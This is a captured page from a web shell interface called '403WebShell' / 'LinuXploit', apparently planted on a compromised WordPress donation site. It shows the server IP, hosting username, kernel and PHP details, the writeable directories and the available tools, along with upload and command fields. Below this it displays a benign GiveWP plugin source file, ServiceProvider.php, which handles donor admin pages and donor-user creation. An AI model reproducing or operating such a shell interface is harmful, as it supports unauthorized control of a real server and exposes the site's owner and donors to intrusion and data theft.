Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.139.93.168
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Donors/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Donors/ServiceProvider.php
<?php

namespace Give\Donors;

use Give\DonationForms\Models\DonationForm;
use Give\Donors\Actions\CreateUserFromDonor;
use Give\Donors\Actions\SendDonorUserRegistrationNotification;
use Give\Donors\Actions\UpdateAdminDonorDetails;
use Give\Donors\CustomFields\Controllers\DonorDetailsController;
use Give\Donors\Exceptions\FailedDonorUserCreationException;
use Give\Donors\ListTable\DonorsListTable;
use Give\Donors\Migrations\AddPhoneColumn;
use Give\Donors\Models\Donor;
use Give\Donors\Repositories\DonorRepositoryProxy;
use Give\Framework\Migrations\MigrationsRegister;
use Give\Helpers\Hooks;
use Give\Log\Log;
use Give\ServiceProviders\ServiceProvider as ServiceProviderInterface;
use Give_Donor as LegacyDonor;

/**
 * @since 2.19.6
 */
class ServiceProvider implements ServiceProviderInterface
{

    /**
     * @inheritDoc
     */
    public function register()
    {
        give()->singleton('donors', DonorRepositoryProxy::class);
        give()->singleton(DonorsListTable::class, function () {
            $listTable = new DonorsListTable();
            Hooks::doAction('givewp_donors_list_table', $listTable);

            return $listTable;
        });
    }

    /**
     * @inheritDoc
     *
     * @since 3.7.0 Register "AddPhoneColumn" migration and add the "give_admin_donor_details_updating" action
     */
    public function boot()
    {
        $userId = get_current_user_id();
        $showLegacy = get_user_meta($userId, '_give_donors_archive_show_legacy', true);
        // only register new admin page if user hasn't chosen to use the old one
        if (empty($showLegacy)) {
            Hooks::addAction('admin_menu', DonorsAdminPage::class, 'registerMenuItem', 30);

            if (DonorsAdminPage::isShowing()) {
                Hooks::addAction('admin_enqueue_scripts', DonorsAdminPage::class, 'loadScripts');
            }
        } elseif (DonorsAdminPage::isShowing()) {
            Hooks::addAction('admin_head', DonorsAdminPage::class, 'renderReactSwitch');
        }

        $this->addCustomFieldsToDonorDetails();
        $this->enforceDonorsAsUsers();

        give(MigrationsRegister::class)->addMigrations([
            AddPhoneColumn::class,
        ]);

        Hooks::addAction('give_admin_donor_details_updating', UpdateAdminDonorDetails::class, '__invoke', 10, 2);
    }

    /**
     * @since 3.0.0
     */
    private function addCustomFieldsToDonorDetails()
    {
        add_action('give_donor_after_tables', static function (LegacyDonor $legacyDonor) {
            /** @var Donor $donor */
            $donor = Donor::find($legacyDonor->id);

            echo (new DonorDetailsController())->show($donor);
        });
    }

    /**
     * Hook into the donor creation process to ensure that donors are also users.
     * @since 3.2.0
     */
    protected function enforceDonorsAsUsers()
    {
        add_action('givewp_donate_controller_donor_created', function (Donor $donor, $formId) {
            if (!$donor->userId) {
                try {
                    give(CreateUserFromDonor::class)->__invoke($donor);

                    if (DonationForm::find($formId)->settings->registrationNotification) {
                        give(SendDonorUserRegistrationNotification::class)->__invoke($donor);
                    }
                } catch (FailedDonorUserCreationException $e) {
                    Log::error($e->getLogMessage(), [
                        'donor' => $donor,
                        'previous' => $e->getPrevious(),
                    ]);
                }
            }
        }, 10, 2);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit